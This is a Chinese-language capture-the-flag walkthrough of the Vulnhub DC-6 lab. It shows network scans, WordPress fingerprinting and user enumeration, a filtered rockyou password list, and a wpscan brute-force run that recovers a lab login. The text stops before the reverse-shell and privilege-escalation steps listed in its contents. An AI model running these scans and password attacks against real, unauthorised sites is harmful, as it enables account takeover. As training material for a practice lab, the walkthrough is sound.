vuInhub靶场实战系列-DC-6实战

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关。

目录

  • 免责声明
  • 前言
  • 一、环境配置
  • 二、信息收集
    • 2.1 主机发现
      • 2.1.1 nmap扫描存活主机
      • 2.1.2 arp-scan扫描存活主机
    • 2.2 端口扫描
    • 2.3 指纹识别
      • 2.3.1 尝试指纹识别
      • 2.3.2 修改host文件
      • 2.3.3 再次进行指纹识别
      • 2.3.4 浏览器访问
      • 2.3.5 Wappalyzer插件web指纹信息收集
    • 2.4 目录扫描
      • 2.4.1 dirb命令目录扫描
      • 2.4.2 dirsearch命令目录扫描
    • 2.5 尝试访问
      • 2.5.1 尝试访问wp-admin
      • 2.5.2 尝试访问wp-includes
  • 三、渗透测试
    • 3.1 wpscan爆破用户名
      • 3.1.1 爆破用户名
      • 3.1.2 保存用户名列表
    • 3.2 生成密码字典
    • 3.3 网页爆破
      • 3.3.1 wpscan爆破
      • 3.3.2 hydra爆破
    • 3.4 mark用户相关
      • 3.4.1 登录页面
      • 3.4.2 Tools插件
      • 3.4.3 漏洞搜索
      • 3.4.4 查看poc文件
      • 3.4.5 运行poc文件
      • 3.4.6 反弹shell
        • 3.4.6.1 kali监听6666端口
        • 3.4.6.2 反弹shell
        • 3.4.6.3 调用标准终端
      • 3.4.7 尝试suid提权
      • 3.4.8 更多系统信息
    • 3.5 graham用户相关
      • 3.5.1 切换graham用户
      • 3.5.2 再次尝试sudo提权
      • 3.5.3 bash写入backups.sh
    • 3.6 jens用户相关
      • 3.6.1 切换jens用户
      • 3.6.2 查看suid可执行的命令
      • 3.6.3 查看sudo可执行的命令
    • 3.7 nmap提权
      • 3.7.1 创建shell.nse文件
      • 3.7.2 执行shell.nse文件
      • 3.7.3 查看flag
  • 渗透总结
  • 参考文章


前言

今日测试内容渗透dc-6靶机:

Vulnhub是一个提供各种漏洞环境的靶场平台,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞。
本文将介绍dc-6靶机渗透测试,内容包括nmap扫描,arp-scan扫描、whatweb及Wappalyzer网站指纹识别、dirb目录扫描或者dirsearch目录扫描、wpscan爆破wordpress用户名、生成密码字典、wpscan爆破登录页,xhydra爆破网页,最终使用nmap提取获得root权限,linux内核提权等内容。

DESCRIPTION
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn’t an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.


一、环境配置

靶机信息

官方下载链接https://www.vulnhub.com/entry/dc-6,315/
发布日期2019年4月29日
靶场环境大小619MB
作者DCAU
系列DC
难度★☆☆☆☆

渗透测试环境配置,请参考作者前面的内容,不再赘述:

vuInhub靶场实战系列-DC-2实战:https://editor.csdn.net/md/?articleId=139026849


二、信息收集

2.1 主机发现

2.1.1 nmap扫描存活主机

┌──(root㉿kali)-[/home/kali]
└─# nmap -sP 192.168.6.0/24           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 11:04 EDT
Nmap scan report for 192.168.6.1
Host is up (0.00037s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.6.2
Host is up (0.00045s latency).
MAC Address: 00:50:56:F5:7B:9F (VMware)
Nmap scan report for 192.168.6.157
Host is up (0.00050s latency).
MAC Address: 00:0C:29:C2:C2:87 (VMware)
Nmap scan report for 192.168.6.254
Host is up (0.00037s latency).
MAC Address: 00:50:56:F1:DB:25 (VMware)
Nmap scan report for 192.168.6.66
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.09 seconds

2.1.2 arp-scan扫描存活主机

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l           
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b6:02:f0, IPv4: 192.168.6.66
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1	00:50:56:c0:00:08	VMware, Inc.
192.168.6.2	00:50:56:f5:7b:9f	VMware, Inc.
192.168.6.157	00:0c:29:c2:c2:87	VMware, Inc.
192.168.6.254	00:50:56:f1:db:25	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.324 seconds (110.15 hosts/sec). 4 responded

综上所示,排除kali攻击机IP,得靶场信息:
IP地址:192.168.6.157
MAC地址:00:0c:29:c2:c2:87

2.2 端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -oA dc-7 192.168.6.157
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 11:07 EDT
Nmap scan report for 192.168.6.157
Host is up (0.00044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
|   256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_  256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Did not follow redirect to http://wordy/
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:C2:C2:87 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.35 seconds

nmap端口扫描显示,靶机开放的端口有22和80端口,
22端口:ssh服务
80端口:http服务

2.3 指纹识别

2.3.1 尝试指纹识别

┌──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.6.157
WhatWeb report for http://192.168.6.157
Status    : 301 Moved Permanently
Title     : <None>
IP        : 192.168.6.157
Country   : RESERVED, ZZ

Summary   : Apache[2.4.25], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], RedirectLocation[http://wordy/], UncommonHeaders[x-redirect-by]

Detected Plugins:
[ Apache ]
	The Apache HTTP Server Project is an effort to develop and 
	maintain an open-source HTTP server for modern operating 
	systems including UNIX and Windows NT. The goal of this 
	project is to provide a secure, efficient and extensible 
	server that provides HTTP services in sync with the current 
	HTTP standards. 

	Version      : 2.4.25 (from HTTP Server Header)
	Google Dorks: (3)
	Website     : http://httpd.apache.org/

[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	OS           : Debian Linux
	String       : Apache/2.4.25 (Debian) (from server string)

[ RedirectLocation ]
	HTTP Server string location. used with http-status 301 and 
	302 

	String       : http://wordy/ (from location)

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : x-redirect-by (from headers)

HTTP Headers:
	HTTP/1.1 301 Moved Permanently
	Date: Tue, 28 May 2024 15:11:47 GMT
	Server: Apache/2.4.25 (Debian)
	X-Redirect-By: WordPress
	Location: http://wordy/
	Content-Length: 0
	Connection: close
	Content-Type: text/html; charset=UTF-8

结果显示:靶机为wordpress CMS内容管理器,没有获得wordpress版本信息,被重定向,解决方案进行下一步操作

2.3.2 修改host文件

向hosts文件中添加以下内容
192.168.6.157 wordy

──(root㉿kali)-[/home/kali]
└─# vim /etc/hosts
                                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# cat /etc/hosts  
127.0.0.1	localhost
127.0.1.1	kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.6.154 dc-2
192.168.6.157 wordy

2.3.3 再次进行指纹识别

┌──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.6.157
WhatWeb report for http://192.168.6.157
Status    : 301 Moved Permanently
Title     : <None>
IP        : 192.168.6.157
Country   : RESERVED, ZZ

Summary   : Apache[2.4.25], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], RedirectLocation[http://wordy/], UncommonHeaders[x-redirect-by]

Detected Plugins:
[ Apache ]
	The Apache HTTP Server Project is an effort to develop and 
	maintain an open-source HTTP server for modern operating 
	systems including UNIX and Windows NT. The goal of this 
	project is to provide a secure, efficient and extensible 
	server that provides HTTP services in sync with the current 
	HTTP standards. 

	Version      : 2.4.25 (from HTTP Server Header)
	Google Dorks: (3)
	Website     : http://httpd.apache.org/

[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	OS           : Debian Linux
	String       : Apache/2.4.25 (Debian) (from server string)

[ RedirectLocation ]
	HTTP Server string location. used with http-status 301 and 
	302 

	String       : http://wordy/ (from location)

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : x-redirect-by (from headers)

HTTP Headers:
	HTTP/1.1 301 Moved Permanently
	Date: Tue, 28 May 2024 15:25:30 GMT
	Server: Apache/2.4.25 (Debian)
	X-Redirect-By: WordPress
	Location: http://wordy/
	Content-Length: 0
	Connection: close
	Content-Type: text/html; charset=UTF-8
	
WhatWeb report for http://wordy/
Status    : 200 OK
Title     : Wordy &#8211; Just another WordPress site
IP        : 192.168.6.157
Country   : RESERVED, ZZ

Summary   : Apache[2.4.25], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Script[text/javascript], UncommonHeaders[link], WordPress[5.1.1]

Detected Plugins:
[ Apache ]
	The Apache HTTP Server Project is an effort to develop and 
	maintain an open-source HTTP server for modern operating 
	systems including UNIX and Windows NT. The goal of this 
	project is to provide a secure, efficient and extensible 
	server that provides HTTP services in sync with the current 
	HTTP standards. 

	Version      : 2.4.25 (from HTTP Server Header)
	Google Dorks: (3)
	Website     : http://httpd.apache.org/

[ HTML5 ]
	HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	OS           : Debian Linux
	String       : Apache/2.4.25 (Debian) (from server string)

[ JQuery ]
	A fast, concise, JavaScript that simplifies how to traverse 
	HTML documents, handle events, perform animations, and add 
	AJAX. 

	Version      : 1.12.4
	Website     : http://jquery.com/

[ MetaGenerator ]
	This plugin identifies meta generator tags and extracts its 
	value. 

	String       : WordPress 5.1.1

[ PoweredBy ]
	This plugin identifies instances of 'Powered by x' text and 
	attempts to extract the value for x. 

	String       : WordPress

[ Script ]
	This plugin detects instances of script HTML elements and 
	returns the script language/type. 

	String       : text/javascript

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : link (from headers)

[ WordPress ]
	WordPress is an opensource blogging system commonly used as 
	a CMS. 

	Version      : 5.1.1
	Aggressive function available (check plugin file or details).
	Google Dorks: (1)
	Website     : http://www.wordpress.org/

HTTP Headers:
	HTTP/1.1 200 OK
	Date: Tue, 28 May 2024 15:25:32 GMT
	Server: Apache/2.4.25 (Debian)
	Link: <http://wordy/index.php/wp-json/>; rel="https://api.w.org/"
	Link: <http://wordy/>; rel=shortlink
	Vary: Accept-Encoding
	Content-Encoding: gzip
	Content-Length: 18051
	Connection: close
	Content-Type: text/html; charset=UTF-8

2.3.4 浏览器访问

dc-6欢迎页

2.3.5 Wappalyzer插件web指纹信息收集

wappalyzer信息收集
相关技术参数如下表:

项目名称技术参数
内容管理系统WordPress5.1.1
编程语言php
博客WordPress5.1.1
操作系统Debian
安装字体Google Font API,Twitter Emoji_(Twemoji)
数据库MySQL
杂项RSS
JavaScript库jQuery Migrate 1.4.1,jQuery1.12.4
Web 服务器Apache HTTPServer 2.4.25
WordPress themesTwenty Seventeen

综上所述, 获得WordPress版本信息:
Version : 5.1.1

2.4 目录扫描

2.4.1 dirb命令目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirb http://192.168.6.157     

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Tue May 28 12:02:29 2024
URL_BASE: http://192.168.6.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.6.157/ ----
+ http://192.168.6.157/index.php (CODE:200|SIZE:53227)                                                                                 
+ http://192.168.6.157/server-status (CODE:403|SIZE:301)                                                                               
==> DIRECTORY: http://192.168.6.157/wp-admin/                                                                                          
==> DIRECTORY: http://192.168.6.157/wp-content/                                                                                        
==> DIRECTORY: http://192.168.6.157/wp-includes/                                                                                       
+ http://192.168.6.157/xmlrpc.php (CODE:405|SIZE:42)                                                                                   
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/ ----
+ http://192.168.6.157/wp-admin/admin.php (CODE:302|SIZE:0)                                                                            
==> DIRECTORY: http://192.168.6.157/wp-admin/css/                                                                                      
==> DIRECTORY: http://192.168.6.157/wp-admin/images/                                                                                   
==> DIRECTORY: http://192.168.6.157/wp-admin/includes/                                                                                 
+ http://192.168.6.157/wp-admin/index.php (CODE:302|SIZE:0)                                                                            
==> DIRECTORY: http://192.168.6.157/wp-admin/js/                                                                                       
==> DIRECTORY: http://192.168.6.157/wp-admin/maint/                                                                                    
==> DIRECTORY: http://192.168.6.157/wp-admin/network/                                                                                  
==> DIRECTORY: http://192.168.6.157/wp-admin/user/                                                                                     
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-content/ ----
+ http://192.168.6.157/wp-content/index.php (CODE:200|SIZE:0)                                                                          
==> DIRECTORY: http://192.168.6.157/wp-content/plugins/                                                                                
==> DIRECTORY: http://192.168.6.157/wp-content/themes/                                                                                 
==> DIRECTORY: http://192.168.6.157/wp-content/uploads/                                                                                
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/network/ ----
+ http://192.168.6.157/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                    
+ http://192.168.6.157/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                    
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-admin/user/ ----
+ http://192.168.6.157/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                       
+ http://192.168.6.157/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                       
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-content/plugins/ ----
+ http://192.168.6.157/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                  
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-content/themes/ ----
+ http://192.168.6.157/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                   
                                                                                                                                       
---- Entering directory: http://192.168.6.157/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Tue May 28 12:03:03 2024
DOWNLOADED: 32284 - FOUND: 12

2.4.2 dirsearch命令目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.6.157 -e * -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: 39772.zip | HTTP method: GET | Threads: 25 | Wordlist size: 9481

Output File: /home/kali/reports/_192.168.6.157/_24-05-28_12-05-18.txt

Target: http://192.168.6.157/

[12:05:18] Starting: 
[12:05:21] 403 -  299B  - /.ht_wsr.txt                                      
[12:05:21] 403 -  302B  - /.htaccess.orig                                   
[12:05:21] 403 -  302B  - /.htaccess.save
[12:05:21] 403 -  304B  - /.htaccess.sample
[12:05:21] 403 -  302B  - /.htaccess.bak1                                   
[12:05:22] 403 -  300B  - /.htaccess_sc
[12:05:22] 403 -  300B  - /.htaccessBAK
[12:05:22] 403 -  301B  - /.htaccessOLD2                                    
[12:05:22] 403 -  292B  - /.htm                                             
[12:05:22] 403 -  293B  - /.html
[12:05:22] 403 -  302B  - /.htpasswd_test                                   
[12:05:22] 403 -  298B  - /.htpasswds                                       
[12:05:22] 403 -  302B  - /.htaccess_orig                                   
[12:05:22] 403 -  299B  - /.httr-oauth                                      
[12:05:22] 403 -  303B  - /.htaccess_extra                                  
[12:05:22] 403 -  300B  - /.htaccessOLD                                     
[12:05:24] 403 -  292B  - /.php                                             
[12:05:24] 403 -  293B  - /.php3                                            
[12:06:05] 200 -   18KB - /index.php                                        
[12:06:09] 200 -    7KB - /license.txt                                      
[12:06:28] 200 -    3KB - /readme.html                                      
[12:06:31] 403 -  301B  - /server-status                                    
[12:06:31] 403 -  302B  - /server-status/                                   
[12:06:50] 301 -  317B  - /wp-admin  ->  http://192.168.6.157/wp-admin/     
[12:06:50] 302 -    0B  - /wp-admin/  ->  http://wordy/wp-login.php?redirect_to=http%3A%2F%2F192.168.6.157%2Fwp-admin%2F&reauth=1
[12:06:51] 200 -    0B  - /wp-config.php                                    
[12:06:51] 500 -    3KB - /wp-admin/setup-config.php                        
[12:06:51] 400 -    1B  - /wp-admin/admin-ajax.php                          
[12:06:51] 200 -  517B  - /wp-admin/install.php                             
[12:06:51] 301 -  319B  - /wp-content  ->  http://192.168.6.157/wp-content/ 
[12:06:51] 200 -    0B  - /wp-content/
[12:06:51] 403 -  324B  - /wp-content/plugins/akismet/admin.php             
[12:06:51] 500 -    0B  - /wp-content/plugins/hello.php                     
[12:06:51] 403 -  326B  - /wp-content/plugins/akismet/akismet.php           
[12:06:51] 200 -  456B  - /wp-content/uploads/                              
[12:06:52] 200 -    1KB - /wp-login.php                                     
[12:06:52] 302 -    0B  - /wp-signup.php  ->  http://wordy/wp-login.php?action=register
[12:06:52] 500 -    0B  - /wp-includes/rss-functions.php                    
[12:06:52] 200 -    0B  - /wp-cron.php                                      
[12:06:52] 200 -    4KB - /wp-includes/                                     
[12:06:52] 301 -  320B  - /wp-includes  ->  http://192.168.6.157/wp-includes/
[12:06:53] 405 -   42B  - /xmlrpc.php                                       
                                                                             
Task Completed

综上所述,发现一些特别的信息:

页面名称目录地址
后台管理页面/wp-admin -> http://192.168.6.157/wp-admin/
文件包含页面/wp-includes -> http://192.168.6.157/wp-includes/
网站内容页面/wp-content -> http://192.168.6.157/wp-content/
网站注册页面/wp-signup.php -> http://wordy/wp-login.php?action=register

dc-6靶机存在文件包含漏洞,越权访问等漏洞,O(∩_∩)O哈哈~

2.5 尝试访问

2.5.1 尝试访问wp-admin

链接地址:http://192.168.6.157/wp-admin/
返回页面:
admin页面

2.5.2 尝试访问wp-includes

链接地址:http://192.168.6.157/wp-includes/
返回页面:
includes页面节选
不登录,无法访问,思路:爆破用户名和密码


三、渗透测试

3.1 wpscan爆破用户名

3.1.1 爆破用户名

┌──(root㉿kali)-[/home/kali]
└─# wpscan --url http://wordy -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://wordy/ [192.168.6.157]
[+] Started: Tue May 28 12:44:35 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2024-04-02T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.6
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=====================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue May 28 12:44:44 2024
[+] Requests Done: 71
[+] Cached Requests: 6
[+] Data Sent: 16.392 KB
[+] Data Received: 13.463 MB
[+] Memory used: 190.902 MB
[+] Elapsed time: 00:00:08

获得5个用户名:

用户名admingrahamjensmarksarah

3.1.2 保存用户名列表

依次执行以下命令,将用户名保存到users.txt文件中

──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# echo "admin\ngraham\njens\nmark\nsarah"> users.txt 
                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# ls
users.txt
                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat users.txt                        
admin
graham
jens
mark
sarah

保存用户名字典成功

3.2 生成密码字典

在访问靶场官网的时候,有以下提示:

官方文档提示

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# ls
passwords.txt  users.txt

生成密码字典password.txt成功。

3.3 网页爆破

我们可以使用wpscan和xhydra爆破网页登录页,下面逐一介绍。

3.3.1 wpscan爆破

耗费时间约6分33秒!

┌──(root㉿kali)-[/home/kali/dev_run_app/vulhub/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwords.txt 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [192.168.6.157]
[+] Started: Tue May 28 13:43:00 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2024-04-02T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.6
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <=========================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01                                                                                                           
Trying jens / !lak019b Time: 00:06:33 <===============================================           > (12547 / 15215) 82.46%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: mark, Password: helpdesk01

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

